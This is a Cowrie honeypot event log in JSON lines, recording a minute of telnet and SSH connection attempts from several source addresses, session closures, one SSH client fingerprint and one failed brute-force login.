{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48356,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04ba2d8966a","protocol":"telnet","message":"New connection: 165.232.131.181:48356 (10.17.0.5:23) [session: a04ba2d8966a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:32.259975Z"}
{"eventid":"cowrie.session.closed","duration":1.5887155532836914,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:33.848519Z","src_ip":"165.232.131.181","session":"a04ba2d8966a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51304,"dst_ip":"10.17.0.5","dst_port":23,"session":"211402218577","protocol":"telnet","message":"New connection: 165.232.131.181:51304 (10.17.0.5:23) [session: 211402218577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:34.084535Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0bbf6cb5238","protocol":"telnet","message":"New connection: 62.210.97.77:36436 (10.17.0.5:23) [session: d0bbf6cb5238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:34.780343Z"}
{"eventid":"cowrie.session.closed","duration":70.78558111190796,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:36.790467Z","src_ip":"165.232.131.181","session":"c9220c22ad14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36450,"dst_ip":"10.17.0.5","dst_port":23,"session":"7667938c0c73","protocol":"telnet","message":"New connection: 62.210.97.77:36450 (10.17.0.5:23) [session: 7667938c0c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:37.471930Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"417815b9c21f","protocol":"telnet","message":"New connection: 165.232.131.181:42390 (10.17.0.5:23) [session: 417815b9c21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:37.912021Z"}
{"eventid":"cowrie.session.closed","duration":0.0049474239349365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:37.916845Z","src_ip":"165.232.131.181","session":"417815b9c21f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82dc2c508be","protocol":"telnet","message":"New connection: 38.54.119.93:37488 (10.17.0.5:23) [session: c82dc2c508be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:37.979424Z"}
{"eventid":"cowrie.session.closed","duration":38.08072471618652,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:39.127907Z","src_ip":"62.210.97.77","session":"24cf4f3800dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.66633057594299,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:39.854407Z","src_ip":"165.232.131.181","session":"c3e8eeb92c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.720656871795654,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:40.036555Z","src_ip":"165.232.131.181","session":"49792dae2535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.62851405143738,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:40.184533Z","src_ip":"62.210.97.77","session":"7c2066f74b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38552498817444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:40.696110Z","src_ip":"62.210.97.77","session":"aaab5a88edc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40202,"dst_ip":"10.17.0.5","dst_port":23,"session":"632325851505","protocol":"telnet","message":"New connection: 38.54.119.93:40202 (10.17.0.5:23) [session: 632325851505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:42.303881Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50084,"dst_ip":"10.17.0.5","dst_port":23,"session":"08df16a7feae","protocol":"telnet","message":"New connection: 65.60.27.33:50084 (10.17.0.5:23) [session: 08df16a7feae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:43.531082Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42784,"dst_ip":"10.17.0.5","dst_port":22,"session":"812054ca8089","protocol":"ssh","message":"New connection: 187.16.96.250:42784 (10.17.0.5:22) [session: 812054ca8089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:43.873588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:43.878617Z","src_ip":"187.16.96.250","session":"812054ca8089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"192e881ed75b","protocol":"telnet","message":"New connection: 62.210.97.77:53818 (10.17.0.5:23) [session: 192e881ed75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:43.925964Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:43.995441Z","src_ip":"187.16.96.250","session":"812054ca8089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.283491373062134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:44.156676Z","src_ip":"62.210.97.77","session":"13517694c183","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q1q1","message":"login attempt [ubuntu/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:44.492918Z","src_ip":"187.16.96.250","session":"812054ca8089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.564744234085083,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:44.544067Z","src_ip":"38.54.119.93","session":"c82dc2c508be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34491229057312,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:45.129139Z","src_ip":"62.210.97.77","session":"c44b87bf0b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51806,"dst_ip":"10.17.0.5","dst_port":23,"session":"354d1942e3f7","protocol":"telnet","message":"New connection: 65.60.27.33:51806 (10.17.0.5:23) [session: 354d1942e3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:45.157315Z"}
{"eventid":"cowrie.session.closed","duration":72.88238501548767,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:45.231363Z","src_ip":"165.232.131.181","session":"6a999f4fb0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.27633333206177,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:45.498461Z","src_ip":"65.60.27.33","session":"201613af53d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:45.611927Z","src_ip":"187.16.96.250","session":"812054ca8089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53830,"dst_ip":"10.17.0.5","dst_port":23,"session":"33977ca8569b","protocol":"telnet","message":"New connection: 62.210.97.77:53830 (10.17.0.5:23) [session: 33977ca8569b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:46.010335Z"}
{"eventid":"cowrie.session.closed","duration":34.377084493637085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:46.293050Z","src_ip":"62.210.97.77","session":"a390ded8207e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56182,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a02a3c7f7f5","protocol":"telnet","message":"New connection: 165.232.131.181:56182 (10.17.0.5:23) [session: 2a02a3c7f7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:46.330835Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53838,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceea18c13036","protocol":"telnet","message":"New connection: 62.210.97.77:53838 (10.17.0.5:23) [session: ceea18c13036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:46.410619Z"}
{"eventid":"cowrie.session.closed","duration":35.38752484321594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:46.604699Z","src_ip":"62.210.97.77","session":"8da9f6f381a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f0e776118b","protocol":"telnet","message":"New connection: 165.232.131.181:56892 (10.17.0.5:23) [session: 20f0e776118b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:48.191525Z"}
{"eventid":"cowrie.session.closed","duration":44.645143270492554,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:48.286667Z","src_ip":"65.60.27.33","session":"8ac352aa4024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.357815980911255,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:49.116317Z","src_ip":"38.54.119.93","session":"a2619fd84847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.075146436691284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:49.538620Z","src_ip":"62.210.97.77","session":"2443554d1ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54080,"dst_ip":"10.17.0.5","dst_port":23,"session":"5784cbc75ca9","protocol":"telnet","message":"New connection: 62.210.97.77:54080 (10.17.0.5:23) [session: 5784cbc75ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:50.296628Z"}
{"eventid":"cowrie.session.closed","duration":34.00647735595703,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:51.505203Z","src_ip":"62.210.97.77","session":"37b72d75f345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"d79e607ff3be","protocol":"telnet","message":"New connection: 62.210.97.77:54084 (10.17.0.5:23) [session: d79e607ff3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:51.539844Z"}
{"eventid":"cowrie.session.closed","duration":43.91484522819519,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:51.655819Z","src_ip":"38.54.119.93","session":"ecffdcbe9d21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"02c76db1f7ec","protocol":"telnet","message":"New connection: 65.60.27.33:35590 (10.17.0.5:23) [session: 02c76db1f7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:54.978211Z"}
{"eventid":"cowrie.session.closed","duration":1.044182300567627,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:56.022239Z","src_ip":"65.60.27.33","session":"02c76db1f7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54086,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c444f76e09","protocol":"telnet","message":"New connection: 62.210.97.77:54086 (10.17.0.5:23) [session: 86c444f76e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:56.875974Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50706,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2f8d53d99f","protocol":"telnet","message":"New connection: 38.54.119.93:50706 (10.17.0.5:23) [session: 0b2f8d53d99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:59.064946Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"71656b9de226","protocol":"telnet","message":"New connection: 62.210.97.77:33494 (10.17.0.5:23) [session: 71656b9de226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:00.599923Z"}
{"eventid":"cowrie.session.closed","duration":46.47687315940857,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:01.753367Z","src_ip":"165.232.131.181","session":"30259e9a6a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29987812042236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:02.754719Z","src_ip":"62.210.97.77","session":"2ba9a5afbf8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.03154683113098,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:02.834502Z","src_ip":"38.54.119.93","session":"4d9f3822e3af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.119540214538574,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:02.988885Z","src_ip":"65.60.27.33","session":"0d28339068ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81525135040283,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:03.552669Z","src_ip":"62.210.97.77","session":"e415181f883a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.261953830718994,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:03.607628Z","src_ip":"62.210.97.77","session":"0010f6fda2b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34198,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a59357462b5","protocol":"telnet","message":"New connection: 165.232.131.181:34198 (10.17.0.5:23) [session: 8a59357462b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:04.016205Z"}
{"eventid":"cowrie.session.closed","duration":36.25575494766235,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:04.430830Z","src_ip":"62.210.97.77","session":"79bb43325226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a68b8c2abd0","protocol":"telnet","message":"New connection: 165.232.131.181:34366 (10.17.0.5:23) [session: 8a68b8c2abd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:04.554492Z"}
{"eventid":"cowrie.session.closed","duration":7.783992767333984,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:06.848812Z","src_ip":"38.54.119.93","session":"0b2f8d53d99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48511528968811,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:06.966450Z","src_ip":"62.210.97.77","session":"0179b9020319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.0126576423645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:07.866955Z","src_ip":"62.210.97.77","session":"bf209204753d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35136,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b6f788aae8","protocol":"telnet","message":"New connection: 165.232.131.181:35136 (10.17.0.5:23) [session: 63b6f788aae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:08.706076Z"}
{"eventid":"cowrie.session.closed","duration":35.372517108917236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:10.152761Z","src_ip":"62.210.97.77","session":"d0bbf6cb5238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50122,"dst_ip":"10.17.0.5","dst_port":23,"session":"13db19815890","protocol":"telnet","message":"New connection: 62.210.97.77:50122 (10.17.0.5:23) [session: 13db19815890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:10.908101Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50134,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6e622c29d6","protocol":"telnet","message":"New connection: 62.210.97.77:50134 (10.17.0.5:23) [session: db6e622c29d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:11.409294Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f2afc05251","protocol":"telnet","message":"New connection: 62.210.97.77:50150 (10.17.0.5:23) [session: f9f2afc05251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:13.293373Z"}
{"eventid":"cowrie.session.closed","duration":46.76588988304138,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:14.834512Z","src_ip":"38.54.119.93","session":"e984c93ffc07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.120309829711914,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:15.592120Z","src_ip":"62.210.97.77","session":"7667938c0c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d7f9e90e76","protocol":"telnet","message":"New connection: 38.54.119.93:34632 (10.17.0.5:23) [session: b7d7f9e90e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:17.931869Z"}
{"eventid":"cowrie.session.closed","duration":34.551090478897095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:18.476767Z","src_ip":"62.210.97.77","session":"192e881ed75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.75256562232971,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:20.837003Z","src_ip":"165.232.131.181","session":"211402218577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.949337005615234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:20.959583Z","src_ip":"62.210.97.77","session":"33977ca8569b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08628559112549,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:23.243480Z","src_ip":"65.60.27.33","session":"354d1942e3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.148178577423096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:23.444702Z","src_ip":"62.210.97.77","session":"5784cbc75ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a9fb3682a7","protocol":"telnet","message":"New connection: 65.60.27.33:40896 (10.17.0.5:23) [session: d5a9fb3682a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:23.982796Z"}
{"eventid":"cowrie.session.closed","duration":39.15289807319641,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:25.563414Z","src_ip":"62.210.97.77","session":"ceea18c13036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42562,"dst_ip":"10.17.0.5","dst_port":23,"session":"2081c536180e","protocol":"telnet","message":"New connection: 65.60.27.33:42562 (10.17.0.5:23) [session: 2081c536180e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:25.694538Z"}
{"eventid":"cowrie.session.closed","duration":34.80621552467346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:26.345963Z","src_ip":"62.210.97.77","session":"d79e607ff3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6309a4096c1","protocol":"telnet","message":"New connection: 65.60.27.33:45552 (10.17.0.5:23) [session: c6309a4096c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:28.201130Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46406,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7eb9b5067a","protocol":"telnet","message":"New connection: 65.60.27.33:46406 (10.17.0.5:23) [session: 0e7eb9b5067a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:28.687393Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f3e90f38ce","protocol":"telnet","message":"New connection: 65.60.27.33:49442 (10.17.0.5:23) [session: 71f3e90f38ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:31.245642Z"}
{"eventid":"cowrie.session.closed","duration":35.35058617591858,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:04:32.226428Z","src_ip":"62.210.97.77","session":"86c444f76e09","protocol":"telnet"}
